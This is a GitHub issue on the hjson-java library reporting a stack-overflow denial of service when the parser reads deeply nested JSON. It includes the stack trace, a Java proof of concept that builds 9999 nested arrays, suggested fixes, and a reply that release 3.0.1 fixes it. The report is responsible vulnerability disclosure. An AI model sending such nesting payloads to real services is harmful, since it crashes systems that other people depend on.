hjson / hjson-java

Hjson for Java
https://hjson.github.io/
MIT License
159 stars 24 forks source link

Stack overflow error caused by hjson parsing of untrusted JSON String #23

Closed PoppingSnack closed 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by hjson parsing of untrusted JSON String

Description

Using hjson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at org.hjson.HjsonParser.read(HjsonParser.java:454)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:165)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)
    at org.hjson.HjsonParser.readValue(HjsonParser.java:118)
    at org.hjson.HjsonParser.readArray(HjsonParser.java:173)

PoC

        <dependency>
            <groupId>org.hjson</groupId>
            <artifactId>hjson</artifactId>
            <version>3.0.0</version>
        </dependency>
import org.hjson.JsonValue;

public class PoC {

    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String jsonString = TOO_DEEP_DOC;
        JsonValue.readHjson(jsonString);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))

trobro commented 1 year ago

Fixed in release 3.0.1